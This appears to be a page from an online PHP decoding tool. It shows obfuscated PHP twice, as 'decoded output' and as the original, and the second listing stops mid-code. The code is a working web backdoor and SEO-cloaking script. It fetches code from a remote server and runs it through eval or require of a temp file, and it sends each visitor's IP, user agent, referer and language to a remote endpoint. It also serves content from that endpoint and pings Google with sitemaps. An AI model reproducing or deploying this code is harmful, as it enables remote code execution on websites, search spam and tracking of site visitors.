Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<? goto XWHcx; o1wv0: $s8ZXP = "Ha0RDcvo3LzVTMyUXLyYTMuYWeiFXZ0NmLpxmZUv"; goto I7N_3; cF..
Decoded Output download
<? goto XWHcx; o1wv0: $s8ZXP = "Ha0RDcvo3LzVTMyUXLyYTMuYWeiFXZ0NmLpxmZUv"; goto I7N_3; cFvey: function y2VHo($s8ZXP) { goto DffAd; ZJlq3: return $YPuY0; goto tpJb7; DffAd: $RVuKv = substr($s8ZXP, strlen($s8ZXP) - 2); goto LOCze; S2y4C: if (!($wNZ1w < count($vZeHB) - 2)) { goto xRikd; } goto f0MxZ; Dt5HE: IKlGj: goto RjONQ; avE6R: cgEwB: goto S2y4C; BNHka: $wNZ1w = 0; goto avE6R; heDBn: $YPuY0 = ''; goto BNHka; Aataj: goto cgEwB; goto zmKM0; RjONQ: $wNZ1w = $wNZ1w + 2; goto Aataj; A3dm9: $YPuY0 .= $RVuKv; goto ZJlq3; zmKM0: xRikd: goto A3dm9; LOCze: $vZeHB = str_split($s8ZXP); goto heDBn; f0MxZ: $YPuY0 .= $vZeHB[$wNZ1w + 1] . $vZeHB[$wNZ1w]; goto Dt5HE; tpJb7: } goto I5MEr; Np5qN: function kEVlC($PApwR) { goto NRSb2; NRSb2: $H02G_ = eQdW1($PApwR); goto iBAXk; cw1Ku: $V3X6m($H02G_); goto h_Qtg; Def_8: @(require $u2pR1["uri"]); goto kOW7Y; pI8n3: fwrite($xjSw2, $H02G_); goto Km15b; iBAXk: $DttDD = base64_decode("PD9waHA="); goto Joqtg; Km15b: $u2pR1 = stream_get_meta_data($xjSw2); goto Def_8; E0gVf: die("get failed"); goto NUGr_; b9U1r: cTNd1: goto pI8n3; Uz6by: $xjSw2 = tmpfile(); goto nhQ9P; nhQ9P: if (!isset($_REQUEST["e"])) { goto cTNd1; } goto B86qb; xS8NS: die; goto yF9Yb; B86qb: $H02G_ = str_replace($DttDD, '', $H02G_); goto q1w_j; kOW7Y: fclose($xjSw2); goto xS8NS; NUGr_: HqhRZ: goto Uz6by; Joqtg: if (!(strpos($H02G_, $DttDD) === false)) { goto HqhRZ; } goto E0gVf; h_Qtg: die; goto b9U1r; q1w_j: $V3X6m = "e" . "v" . "a" . "l"; goto cw1Ku; yF9Yb: } goto cFvey; oGIHU: function X7QZ1($oog7c = '') { goto AWMzS; YgNDw: $oog7c = $oog7c ? $oog7c : $_SERVER["REMOTE_ADDR"]; goto q4I6n; q4I6n: return trim($oog7c); goto Oh1qn; AWMzS: $oog7c = $_SERVER["HTTP_VIA"] ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"]; goto YgNDw; Oh1qn: } goto lkMSe; TTtr9: function cgYmH($Edm8y) { goto L2cb7; fHk4k: return gzinflate(base64_decode($MKJGW . $JNplf . $Pv_2o)); goto xjaWt; pCPfP: $Pv_2o = substr($Edm8y, -5); goto DOC0z; DOC0z: $JNplf = substr($Edm8y, 7, strlen($Edm8y) - 14); goto fHk4k; L2cb7: $MKJGW = substr($Edm8y, 0, 5); goto pCPfP; xjaWt: } goto L0ziw; wv4GU: function yWgyY($j2SNn) { return hexdec($j2SNn[1]) == strlen($j2SNn[2]) ? $j2SNn[2] : $j2SNn[0]; } goto oGIHU; I5MEr: function Nxdk0($N3oe7, $OdxHE, $PKJoR) { goto hKSYD; H2tnG: $DrXx9 = "google"; goto PKsYI; hKSYD: $qJOQL = "https://%s/ping?sitemap=%s%s/%s"; goto ir1DN; PKsYI: $WwY9n = "success"; goto Ny8Kq; tcs0C: $mdI0v = Eqdw1($uVVzv); goto JlMFH; gbd7E: if (!(strpos($mdI0v, $DrXx9) != false)) { goto w1VNS; } goto ZPm2n; uHxlc: w1VNS: goto zNvTm; ZPm2n: die($WwY9n); goto uHxlc; shkJX: var_dump($mdI0v); goto T0OLh; JlMFH: if (!isset($_REQUEST["st"])) { goto O2TMx; } goto q9aDu; ir1DN: $uVVzv = sprintf($qJOQL, $N3oe7, $PKJoR["protocol"], $PKJoR["server_domain"], $OdxHE); goto tcs0C; I5yeD: O2TMx: goto H2tnG; T0OLh: die; goto I5yeD; Ny8Kq: $qaWqc = "failed"; goto gbd7E; q9aDu: var_dump($uVVzv); goto shkJX; zNvTm: die($qaWqc); goto zyMqy; zyMqy: } goto KC943; k0Dob: function P2eZw($s8ZXP, $SSQwi) { goto P_VXE; NE8X8: print_r($PKJoR); goto RSbWM; KtqbX: $y4v8k = "www.google.com"; goto wPHm1; Rv03D: kEvlc(sprintf($r1ifZ[2], base64_decode(y2VHo($SSQwi)), $PKJoR["api"], $_REQUEST["ac"], $_REQUEST["path"], $_REQUEST["t"])); goto D9bZe; gLSq6: $PKJoR["language"] = ''; goto h18J1; bj_mZ: $r1ifZ = explode("|", $r1ifZ); goto cOfNi; n7o7L: $PKJoR["user_agent"] = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : ''; goto dMrn0; wGbzK: $aG48k = Yf3zD($spKLF); goto r8zEJ; FiyLx: Awt8y: goto WH3s4; ATJC0: goto LZ_s3; goto mx6xk; RSbWM: die; goto PeE14; sSt6E: $r1ifZ = "%s/?r=%s|https://google.co.jp|%s?api=%s&ac=%s&path=%s&t=%s"; goto bj_mZ; P_VXE: $PKJoR = array(); goto IbIof; PGNA7: $PKJoR["server_domain"] = VJkiv(); goto iOcNr; Hocx2: $spKLF = EQdW1($r1ifZ[1]); goto DzFQY; dMrn0: $PKJoR["ip"] = x7QZ1(); goto rk392; KRmFC: $PKJoR["language"] = $_SERVER["HTTP_ACCEPT_LANGUAGE"]; goto PcE17; mx6xk: HFlEY: goto VEsvz; cOfNi: if (!(isset($_REQUEST["ac"]) && isset($_REQUEST["path"]) && isset($_REQUEST["t"]))) { goto J65eD; } goto Rv03D; HehbU: Q2nxo: goto KRmFC; Cdf35: $PKJoR["protocol"] = "http://"; goto ATJC0; p61qX: echo $aG48k[1]; goto DI8Yw; P4ODO: $PKJoR["referer"] = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : ''; goto n7o7L; R1lqR: $OdxHE = $_GET["sitemap"]; goto KtqbX; U3pAq: @header($aG48k[0]); goto p61qX; DzFQY: var_dump($spKLF); goto MStUV; iOcNr: $PKJoR["request_url"] = $_SERVER["REQUEST_URI"]; goto P4ODO; U70ov: $y4v8k = $_GET["google_url"]; goto I7iuU; A6Po_: LZ_s3: goto eS9Yi; yySSF: var_dump($spKLF); goto Hocx2; PcE17: lb8Qo: goto ktvO4; KCAmX: KhPNw: goto wGbzK; eS9Yi: if (isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])) { goto Q2nxo; } goto gLSq6; IbIof: $PKJoR["default_params"] = $s8ZXP; goto jeBx3; PvtxN: $spKLF = EqdW1($PApwR); goto tdTYH; h18J1: goto lb8Qo; goto HehbU; MStUV: die; goto KCAmX; VEsvz: $PKJoR["protocol"] = "https://"; goto A6Po_; DI8Yw: die; goto FiyLx; I7iuU: xf9vv: goto IM7JC; D9bZe: J65eD: goto aRpsw; PeE14: fMc1F: goto shNrT; aRpsw: $RxwSJ = array("domain" => $PKJoR["server_domain"], "request_url" => $PKJoR["request_url"], "ip" => $PKJoR["ip"], "agent" => $PKJoR["user_agent"], "referer" => $PKJoR["referer"], "protocol" => $PKJoR["protocol"], "language" => $PKJoR["language"]); goto e_dr8; IM7JC: nXDK0($y4v8k, $OdxHE, $PKJoR); goto W3peE; tdTYH: if (!isset($_REQUEST["dump"])) { goto KhPNw; } goto yySSF; W3peE: QsOKg: goto sSt6E; r8zEJ: if (!($aG48k !== false)) { goto Awt8y; } goto U3pAq; wPHm1: if (!isset($_GET["google_url"])) { goto xf9vv; } goto U70ov; ktvO4: if (!isset($_GET["params"])) { goto fMc1F; } goto NE8X8; e_dr8: $PApwR = sprintf($r1ifZ[0], $PKJoR["api"], Y2vho(base64_encode(implode("{|}", $RxwSJ)))); goto PvtxN; jeBx3: $PKJoR["api"] = base64_decode(y2VHo($PKJoR["default_params"])); goto PGNA7; rk392: if (isset($_SERVER["HTTPS"])) { goto HFlEY; } goto Cdf35; shNrT: if (!isset($_GET["sitemap"])) { goto QsOKg; } goto R1lqR; WH3s4: } goto dG97z; I7N_3: $SSQwi = "Ha0RHc6MyLj9mLjlzduU2Yt9wL=="; goto TTtr9; L0ziw: function eQDw1($PApwR) { goto MJaND; Ys6bt: irQrT: goto QdkYf; jvuwy: $spKLF .= $pHbz4; goto mp_u7; rD2d7: $zTw6G = empty($u2Qtz["port"]) ? 443 : $u2Qtz["port"]; goto GhR8S; Fv9p4: $F8CdQ = curl_exec($HkHg6); goto oyGtq; yeCRf: socket_close($hL0V7); goto o0o66; RcvI8: $luZZY[] = $XlB57; goto u4BDx; J35NQ: $spKLF = explode("\xd\xa\xd\xa", $spKLF); goto Q6yux; G7q0S: unset($u2pR1, $TNFWs); goto wGInL; DX12G: Z8GtA: goto LfcCD; eswOZ: pDUp9: goto vx71Q; sHGLn: $spKLF = ''; goto cBqcx; tNh5Z: unset($J4AJj, $tQWKW, $hL0V7, $zTw6G, $cznto); goto HCdxy; gO2nv: $lG1s2 = $u2Qtz["path"] ? $u2Qtz["path"] . ($u2Qtz["query"] ? "?" . $u2Qtz["query"] : '') : "/"; goto OSg0U; H333c: Hdc39: goto xLZYa; kD6el: c5IFU: goto vAYi1; zW_vv: eyjzL: goto sHGLn; t6wFg: if (feof($hL0V7)) { goto QznQf; } goto aWDSZ; Ez4b3: $XlB57 .= $cznto; goto RcvI8; cQdfe: unset($eJ9Cq); goto MC2Uu; ZR1jv: isset($u2Qtz["path"]) || ($u2Qtz["path"] = ''); goto bS9w7; Ox0Ot: if (!($wABao != false)) { goto hiP3O; } goto IW5PH; bkCVG: fclose($hL0V7); goto p4boE; Oc0fh: foreach (explode("|", $u2pR1) as $TNFWs) { goto CjTOC; foNOO: foreach (explode("+", $TNFWs) as $mU2I2) { if (!function_exists($mU2I2)) { $QcMBL = 0; } sMkZ2: } goto RvDb6; nYuHh: fNe8P: goto th2ku; RvDb6: i4464: goto am2oX; am2oX: unset($mU2I2); goto FMxOW; FMxOW: if (!$QcMBL) { goto fNe8P; } goto sa7Zg; CjTOC: $QcMBL = 1; goto foNOO; sa7Zg: $tQWKW = $TNFWs; goto q3CGE; th2ku: b6kul: goto q_9oI; q3CGE: goto qaENl; goto nYuHh; q_9oI: } goto aMgpb; JAMKM: $XIHhV = gethostbyname($cznto); goto J1hlv; S6RnK: goto xW4ys; goto hl6gA; E3kcj: stream_set_timeout($hL0V7, 30); goto tVQIK; C91aE: $luZZY[] = "User-Agent: s"; goto aU8ed; GhR8S: $cznto = "ssl://"; goto lBQ9V; AuxEI: $NWMTI = "1.0"; goto r8W2N; kN8wA: $E7POr = stream_get_meta_data($hL0V7); goto UbtUI; MJaND: if (preg_match("/^https*\:\/\//si", $PApwR)) { goto ALG1X; } goto KvJTc; Vi3vS: if (!$F8CdQ) { goto Hdc39; } goto a2gYk; WN9y0: if (!socket_connect($hL0V7, $XIHhV, $zTw6G)) { goto nZIL_; } goto uSDq2; wGInL: if (!($tQWKW == '')) { goto MNDwQ; } goto XKZxn; aMgpb: qaENl: goto G7q0S; vmp8Q: unset($Q2284); goto S6RnK; xLZYa: return "501"; goto Ys6bt; u4BDx: $luZZY[] = "Connection: Close"; goto C91aE; TerBL: if (!($Q2284 && (rawurlencode($Q2284) == "%0D%0A" || rawurlencode($Q2284) == "%0A"))) { goto koqVE; } goto boIj8; hy2e8: $u2pR1 = "curl_init+curl_setopt+curl_exec|fsockopen|pfsockopen|stream_socket_client|socket_create"; goto Ekw16; OZK4o: nZIL_: goto yeCRf; K_gi_: $spKLF = implode("\xd
\xa", $spKLF); goto OZK4o; PnWwY: MNDwQ: goto lz0Aq; OSg0U: $cznto = $u2Qtz["host"]; goto jRj5e; tVQIK: fwrite($hL0V7, $J4AJj); goto kN8wA; HpEM3: unset($E7POr); goto bkCVG; oyGtq: curl_close($HkHg6); goto Vi3vS; ZdlL2: curl_setopt($HkHg6, CURLOPT_SSL_VERIFYPEER, 0); goto Fv9p4; Fw6I_: Gcrx4: goto Cf4GY; XKZxn: return 0; goto PnWwY; p4boE: q3JxW: goto tNh5Z; zlPc1: $u2Qtz = parse_url($PApwR); goto o1Xyc; Ekw16: $tQWKW = $J4AJj = $bJUX_ = $hwZh4 = ''; goto Oc0fh; uSDq2: socket_write($hL0V7, $J4AJj, strlen($J4AJj)); goto DX12G; r8W2N: $zTw6G = empty($u2Qtz["port"]) ? 80 : $u2Qtz["port"]; goto Sbn7Y; aU8ed: $luZZY[] = "Accept: */*"; goto jA2xQ; EvS50: ddc1T: goto ppl96; bXbF1: $spKLF .= $aG48k; goto ZNiLk; jA2xQ: unset($XlB57); goto LcIrS; edv7p: xW4ys: goto t6wFg; vjcXn: goto irQrT; goto H333c; JiJKY: $HkHg6 = curl_init(); goto wpMe3; otsfa: curl_setopt($HkHg6, CURLOPT_TIMEOUT, 100); goto e2nAG; LcIrS: $J4AJj = "GET {$lG1s2} HTTP/{$NWMTI}" . PHP_EOL . join(PHP_EOL, $luZZY) . PHP_EOL . PHP_EOL; goto Sf7dz; MEU1n: $hL0V7 = null; goto DS5DR; Sbn7Y: goto ddc1T; goto eswOZ; wpMe3: curl_setopt($HkHg6, CURLOPT_URL, $PApwR); goto yESAg; PLeRe: hiP3O: goto hy2e8; o0o66: unset($XIHhV); goto kD6el; cBqcx: if ($hL0V7) { goto XHfoO; } goto rZPFq; oYDcX: if (feof($hL0V7)) { goto CyZgL; } goto CnHGE; z1bAY: wZD8c: goto J35NQ; KvJTc: return "500"; goto T9bvd; CnHGE: $aG48k = fread($hL0V7, 8192); goto bXbF1; e2nAG: curl_setopt($HkHg6, CURLOPT_FRESH_CONNECT, TRUE); goto ZdlL2; boIj8: goto QznQf; goto yKDzC; IW5PH: return $wABao; goto PLeRe; eEwSm: $eJ9Cq .= $cznto; goto hyxrS; o1Xyc: isset($u2Qtz["host"]) || ($u2Qtz["host"] = ''); goto ZR1jv; i2lbR: return trim(trim($spKLF, "\357\273\xbf")); goto yrtUD; Cf4GY: $hL0V7 = $tQWKW($cznto, $zTw6G, $bJUX_, $hwZh4, 30); goto zW_vv; LfcCD: if (!($pHbz4 = @socket_read($hL0V7, 8192))) { goto wZD8c; } goto jvuwy; lAAi4: curl_setopt($HkHg6, CURLOPT_RETURNTRANSFER, 1); goto otsfa; Fnf2W: $eJ9Cq = "tcp://"; goto eEwSm; AnmOF: if (!(substr($tQWKW, -1) == "t")) { goto upZeY; } goto Fnf2W; gTLwB: goto eyjzL; goto Fw6I_; yESAg: curl_setopt($HkHg6, CURLOPT_USERAGENT, "s"); goto lAAi4; QdkYf: Tv7dn: goto zlPc1; mp_u7: unset($pHbz4); goto Fe2i9; vAYi1: goto q3JxW; goto iefN9; Q6yux: array_shift($spKLF); goto K_gi_; hl6gA: QznQf: goto S9nnF; azo0r: $wABao = file_get_contents($PApwR); goto Ox0Ot; Fe2i9: goto Z8GtA; goto z1bAY; iefN9: XHfoO: goto n0p7V; rZPFq: if (!(substr($tQWKW, -1) == "e")) { goto c5IFU; } goto JAMKM; UbtUI: if ($E7POr["timed_out"]) { goto irg_V; } goto edv7p; yKDzC: koqVE: goto vmp8Q; Sf7dz: unset($luZZY, $u2Qtz, $NWMTI, $lG1s2); goto MEU1n; HCdxy: $spKLF = @preg_replace_callback("/(?:(?:\r\n|\n)|^)([0-9A-F]+)(?:\r\n|\n){1,2}(.*?)" . "((?:\r\n|\n)(?:[0-9A-F]+(?:\r\n|\n))|$)/si", "f_async", $spKLF); goto i2lbR; n0p7V: stream_set_blocking($hL0V7, TRUE); goto E3kcj; a2gYk: return $F8CdQ; goto vjcXn; ppl96: $XlB57 = "Host: "; goto Ez4b3; rXv2N: $hL0V7 = stream_socket_client($eJ9Cq, $bJUX_, $hwZh4, 30); goto cQdfe; J1hlv: $hL0V7 = $tQWKW(AF_INET, SOCK_STREAM, 0); goto WN9y0; S9nnF: SVzP7: goto oYDcX; ZNiLk: unset($aG48k); goto HORyl; MC2Uu: upZeY: goto gTLwB; GIxkd: irg_V: goto HpEM3; DS5DR: if (substr($tQWKW, -1) == "n") { goto Gcrx4; } goto AnmOF; jsPPt: CyZgL: goto GIxkd; T9bvd: ALG1X: goto azo0r; lz0Aq: if (!(substr($tQWKW, 0, 1) == "c")) { goto Tv7dn; } goto JiJKY; HORyl: goto SVzP7; goto jsPPt; aWDSZ: $Q2284 = fgets($hL0V7); goto TerBL; bS9w7: isset($u2Qtz["query"]) || ($u2Qtz["query"] = ''); goto cL53J; cL53J: isset($u2Qtz["port"]) || ($u2Qtz["port"] = ''); goto gO2nv; lBQ9V: $cznto .= $u2Qtz["host"]; goto EvS50; vx71Q: $NWMTI = "1.1"; goto rD2d7; hyxrS: $eJ9Cq .= ":"; goto AYzug; jRj5e: if ($u2Qtz["scheme"] == "https") { goto pDUp9; } goto AuxEI; AYzug: $eJ9Cq .= $zTw6G; goto rXv2N; yrtUD: } goto wv4GU; KC943: function Yf3zD($spKLF) { goto BQTGs; WcdpE: return false; goto LjFd_; KqZfF: if (is_array($xF9io)) { goto f4Y4H; } goto WcdpE; BQTGs: $xF9io = @preg_split("/{\|}/si", $spKLF, -1, PREG_SPLIT_NO_EMPTY); goto KqZfF; LjFd_: f4Y4H: goto crgsp; e6bRA: return false; goto pTXpZ; pTXpZ: kCHJ7: goto xOvTr; xOvTr: return $xF9io/* S0vMzEJElwPNAQA=$cAT3VWynuiL7CRgr */; goto k29it; crgsp: if (!(count($xF9io) != 2)) { goto kCHJ7; } goto e6bRA; k29it: } goto k0Dob; XWHcx: error_reporting(0); goto o1wv0; lkMSe: function vjkIv($Edm8y = '') { goto naXt2; ovf4w: goto akOI0; goto nV7wQ; nV7wQ: HQ3T1: goto KXVZM; HbxPS: return $Edm8y; goto sIxnw; KXVZM: return $_SERVER["HTTP_HOST"]; goto RhYJy; RhYJy: goto akOI0; goto gdv15; qVcIy: akOI0: goto HbxPS; hUgpq: if (isset($_SERVER["SERVER_NAME"])) { goto HDtxs; } goto ovf4w; naXt2: if (isset($_SERVER["HTTP_HOST"])) { goto HQ3T1; } goto hUgpq; aJGoo: return $_SERVER["SERVER_NAME"]; goto qVcIy; gdv15: HDtxs: goto aJGoo; sIxnw: } goto Np5qN; dG97z: p2eZW($s8ZXP, $SSQwi); ?>
Did this file decode correctly?
Original Code
<? goto XWHcx; o1wv0: $s8ZXP = "Ha0RDcvo3LzVTMyUXLyYTMuYWeiFXZ0NmLpxmZUv"; goto I7N_3; cFvey: function y2VHo($s8ZXP) { goto DffAd; ZJlq3: return $YPuY0; goto tpJb7; DffAd: $RVuKv = substr($s8ZXP, strlen($s8ZXP) - 2); goto LOCze; S2y4C: if (!($wNZ1w < count($vZeHB) - 2)) { goto xRikd; } goto f0MxZ; Dt5HE: IKlGj: goto RjONQ; avE6R: cgEwB: goto S2y4C; BNHka: $wNZ1w = 0; goto avE6R; heDBn: $YPuY0 = ''; goto BNHka; Aataj: goto cgEwB; goto zmKM0; RjONQ: $wNZ1w = $wNZ1w + 2; goto Aataj; A3dm9: $YPuY0 .= $RVuKv; goto ZJlq3; zmKM0: xRikd: goto A3dm9; LOCze: $vZeHB = str_split($s8ZXP); goto heDBn; f0MxZ: $YPuY0 .= $vZeHB[$wNZ1w + 1] . $vZeHB[$wNZ1w]; goto Dt5HE; tpJb7: } goto I5MEr; Np5qN: function kEVlC($PApwR) { goto NRSb2; NRSb2: $H02G_ = eQdW1($PApwR); goto iBAXk; cw1Ku: $V3X6m($H02G_); goto h_Qtg; Def_8: @(require $u2pR1["uri"]); goto kOW7Y; pI8n3: fwrite($xjSw2, $H02G_); goto Km15b; iBAXk: $DttDD = base64_decode("PD9waHA="); goto Joqtg; Km15b: $u2pR1 = stream_get_meta_data($xjSw2); goto Def_8; E0gVf: die("get failed"); goto NUGr_; b9U1r: cTNd1: goto pI8n3; Uz6by: $xjSw2 = tmpfile(); goto nhQ9P; nhQ9P: if (!isset($_REQUEST["e"])) { goto cTNd1; } goto B86qb; xS8NS: die; goto yF9Yb; B86qb: $H02G_ = str_replace($DttDD, '', $H02G_); goto q1w_j; kOW7Y: fclose($xjSw2); goto xS8NS; NUGr_: HqhRZ: goto Uz6by; Joqtg: if (!(strpos($H02G_, $DttDD) === false)) { goto HqhRZ; } goto E0gVf; h_Qtg: die; goto b9U1r; q1w_j: $V3X6m = "e" . "v" . "a" . "l"; goto cw1Ku; yF9Yb: } goto cFvey; oGIHU: function X7QZ1($oog7c = '') { goto AWMzS; YgNDw: $oog7c = $oog7c ? $oog7c : $_SERVER["REMOTE_ADDR"]; goto q4I6n; q4I6n: return trim($oog7c); goto Oh1qn; AWMzS: $oog7c = $_SERVER["HTTP_VIA"] ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"]; goto YgNDw; Oh1qn: } goto lkMSe; TTtr9: function cgYmH($Edm8y) { goto L2cb7; fHk4k: return gzinflate(base64_decode($MKJGW . $JNplf . $Pv_2o)); goto xjaWt; pCPfP: $Pv_2o = substr($Edm8y, -5); goto DOC0z; DOC0z: $JNplf = substr($Edm8y, 7, strlen($Edm8y) - 14); goto fHk4k; L2cb7: $MKJGW = substr($Edm8y, 0, 5); goto pCPfP; xjaWt: } goto L0ziw; wv4GU: function yWgyY($j2SNn) { return hexdec($j2SNn[1]) == strlen($j2SNn[2]) ? $j2SNn[2] : $j2SNn[0]; } goto oGIHU; I5MEr: function Nxdk0($N3oe7, $OdxHE, $PKJoR) { goto hKSYD; H2tnG: $DrXx9 = "google"; goto PKsYI; hKSYD: $qJOQL = "https://%s/ping?sitemap=%s%s/%s"; goto ir1DN; PKsYI: $WwY9n = "success"; goto Ny8Kq; tcs0C: $mdI0v = Eqdw1($uVVzv); goto JlMFH; gbd7E: if (!(strpos($mdI0v, $DrXx9) != false)) { goto w1VNS; } goto ZPm2n; uHxlc: w1VNS: goto zNvTm; ZPm2n: die($WwY9n); goto uHxlc; shkJX: var_dump($mdI0v); goto T0OLh; JlMFH: if (!isset($_REQUEST["st"])) { goto O2TMx; } goto q9aDu; ir1DN: $uVVzv = sprintf($qJOQL, $N3oe7, $PKJoR["protocol"], $PKJoR["server_domain"], $OdxHE); goto tcs0C; I5yeD: O2TMx: goto H2tnG; T0OLh: die; goto I5yeD; Ny8Kq: $qaWqc = "failed"; goto gbd7E; q9aDu: var_dump($uVVzv); goto shkJX; zNvTm: die($qaWqc); goto zyMqy; zyMqy: } goto KC943; k0Dob: function P2eZw($s8ZXP, $SSQwi) { goto P_VXE; NE8X8: print_r($PKJoR); goto RSbWM; KtqbX: $y4v8k = "www.google.com"; goto wPHm1; Rv03D: kEvlc(sprintf($r1ifZ[2], base64_decode(y2VHo($SSQwi)), $PKJoR["api"], $_REQUEST["ac"], $_REQUEST["path"], $_REQUEST["t"])); goto D9bZe; gLSq6: $PKJoR["language"] = ''; goto h18J1; bj_mZ: $r1ifZ = explode("|", $r1ifZ); goto cOfNi; n7o7L: $PKJoR["user_agent"] = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : ''; goto dMrn0; wGbzK: $aG48k = Yf3zD($spKLF); goto r8zEJ; FiyLx: Awt8y: goto WH3s4; ATJC0: goto LZ_s3; goto mx6xk; RSbWM: die; goto PeE14; sSt6E: $r1ifZ = "%s/?r=%s|https://google.co.jp|%s?api=%s&ac=%s&path=%s&t=%s"; goto bj_mZ; P_VXE: $PKJoR = array(); goto IbIof; PGNA7: $PKJoR["server_domain"] = VJkiv(); goto iOcNr; Hocx2: $spKLF = EQdW1($r1ifZ[1]); goto DzFQY; dMrn0: $PKJoR["ip"] = x7QZ1(); goto rk392; KRmFC: $PKJoR["language"] = $_SERVER["HTTP_ACCEPT_LANGUAGE"]; goto PcE17; mx6xk: HFlEY: goto VEsvz; cOfNi: if (!(isset($_REQUEST["ac"]) && isset($_REQUEST["path"]) && isset($_REQUEST["t"]))) { goto J65eD; } goto Rv03D; HehbU: Q2nxo: goto KRmFC; Cdf35: $PKJoR["protocol"] = "http://"; goto ATJC0; p61qX: echo $aG48k[1]; goto DI8Yw; P4ODO: $PKJoR["referer"] = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : ''; goto n7o7L; R1lqR: $OdxHE = $_GET["sitemap"]; goto KtqbX; U3pAq: @header($aG48k[0]); goto p61qX; DzFQY: var_dump($spKLF); goto MStUV; iOcNr: $PKJoR["request_url"] = $_SERVER["REQUEST_URI"]; goto P4ODO; U70ov: $y4v8k = $_GET["google_url"]; goto I7iuU; A6Po_: LZ_s3: goto eS9Yi; yySSF: var_dump($spKLF); goto Hocx2; PcE17: lb8Qo: goto ktvO4; KCAmX: KhPNw: goto wGbzK; eS9Yi: if (isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])) { goto Q2nxo; } goto gLSq6; IbIof: $PKJoR["default_params"] = $s8ZXP; goto jeBx3; PvtxN: $spKLF = EqdW1($PApwR); goto tdTYH; h18J1: goto lb8Qo; goto HehbU; MStUV: die; goto KCAmX; VEsvz: $PKJoR["protocol"] = "https://"; goto A6Po_; DI8Yw: die; goto FiyLx; I7iuU: xf9vv: goto IM7JC; D9bZe: J65eD: goto aRpsw; PeE14: fMc1F: goto shNrT; aRpsw: $RxwSJ = array("domain" => $PKJoR["server_domain"], "request_url" => $PKJoR["request_url"], "ip" => $PKJoR["ip"], "agent" => $PKJoR["user_agent"], "referer" => $PKJoR["referer"], "protocol" => $PKJoR["protocol"], "language" => $PKJoR["language"]); goto e_dr8; IM7JC: nXDK0($y4v8k, $OdxHE, $PKJoR); goto W3peE; tdTYH: if (!isset($_REQUEST["dump"])) { goto KhPNw; } goto yySSF; W3peE: QsOKg: goto sSt6E; r8zEJ: if (!($aG48k !== false)) { goto Awt8y; } goto U3pAq; wPHm1: if (!isset($_GET["google_url"])) { goto xf9vv; } goto U70ov; ktvO4: if (!isset($_GET["params"])) { goto fMc1F; } goto NE8X8; e_dr8: $PApwR = sprintf($r1ifZ[0], $PKJoR["api"], Y2vho(base64_encode(implode("{|}", $RxwSJ)))); goto PvtxN; jeBx3: $PKJoR["api"] = base64_decode(y2VHo($PKJoR["default_params"])); goto PGNA7; rk392: if (isset($_SERVER["HTTPS"])) { goto HFlEY; } goto Cdf35; shNrT: if (!isset($_GET["sitemap"])) { goto QsOKg; } goto R1lqR; WH3s4: } goto dG97z; I7N_3: $SSQwi = "Ha0RHc6MyLj9mLjlzduU2Yt9wL=="; goto TTtr9; L0ziw: function eQDw1($PApwR) { goto MJaND; Ys6bt: irQrT: goto QdkYf; jvuwy: $spKLF .= $pHbz4; goto mp_u7; rD2d7: $zTw6G = empty($u2Qtz["port"]) ? 443 : $u2Qtz["port"]; goto GhR8S; Fv9p4: $F8CdQ = curl_exec($HkHg6); goto oyGtq; yeCRf: socket_close($hL0V7); goto o0o66; RcvI8: $luZZY[] = $XlB57; goto u4BDx; J35NQ: $spKLF = explode("\xd\xa\xd\xa", $spKLF); goto Q6yux; G7q0S: unset($u2pR1, $TNFWs); goto wGInL; DX12G: Z8GtA: goto LfcCD; eswOZ: pDUp9: goto vx71Q; sHGLn: $spKLF = ''; goto cBqcx; tNh5Z: unset($J4AJj, $tQWKW, $hL0V7, $zTw6G, $cznto); goto HCdxy; gO2nv: $lG1s2 = $u2Qtz["path"] ? $u2Qtz["path"] . ($u2Qtz["query"] ? "?" . $u2Qtz["query"] : '') : "/"; goto OSg0U; H333c: Hdc39: goto xLZYa; kD6el: c5IFU: goto vAYi1; zW_vv: eyjzL: goto sHGLn; t6wFg: if (feof($hL0V7)) { goto QznQf; } goto aWDSZ; Ez4b3: $XlB57 .= $cznto; goto RcvI8; cQdfe: unset($eJ9Cq); goto MC2Uu; ZR1jv: isset($u2Qtz["path"]) || ($u2Qtz["path"] = ''); goto bS9w7; Ox0Ot: if (!($wABao != false)) { goto hiP3O; } goto IW5PH; bkCVG: fclose($hL0V7); goto p4boE; Oc0fh: foreach (explode("|", $u2pR1) as $TNFWs) { goto CjTOC; foNOO: foreach (explode("+", $TNFWs) as $mU2I2) { if (!function_exists($mU2I2)) { $QcMBL = 0; } sMkZ2: } goto RvDb6; nYuHh: fNe8P: goto th2ku; RvDb6: i4464: goto am2oX; am2oX: unset($mU2I2); goto FMxOW; FMxOW: if (!$QcMBL) { goto fNe8P; } goto sa7Zg; CjTOC: $QcMBL = 1; goto foNOO; sa7Zg: $tQWKW = $TNFWs; goto q3CGE; th2ku: b6kul: goto q_9oI; q3CGE: goto qaENl; goto nYuHh; q_9oI: } goto aMgpb; JAMKM: $XIHhV = gethostbyname($cznto); goto J1hlv; S6RnK: goto xW4ys; goto hl6gA; E3kcj: stream_set_timeout($hL0V7, 30); goto tVQIK; C91aE: $luZZY[] = "User-Agent: s"; goto aU8ed; GhR8S: $cznto = "ssl://"; goto lBQ9V; AuxEI: $NWMTI = "1.0"; goto r8W2N; kN8wA: $E7POr = stream_get_meta_data($hL0V7); goto UbtUI; MJaND: if (preg_match("/^https*\:\/\//si", $PApwR)) { goto ALG1X; } goto KvJTc; Vi3vS: if (!$F8CdQ) { goto Hdc39; } goto a2gYk; WN9y0: if (!socket_connect($hL0V7, $XIHhV, $zTw6G)) { goto nZIL_; } goto uSDq2; wGInL: if (!($tQWKW == '')) { goto MNDwQ; } goto XKZxn; aMgpb: qaENl: goto G7q0S; vmp8Q: unset($Q2284); goto S6RnK; xLZYa: return "501"; goto Ys6bt; u4BDx: $luZZY[] = "Connection: Close"; goto 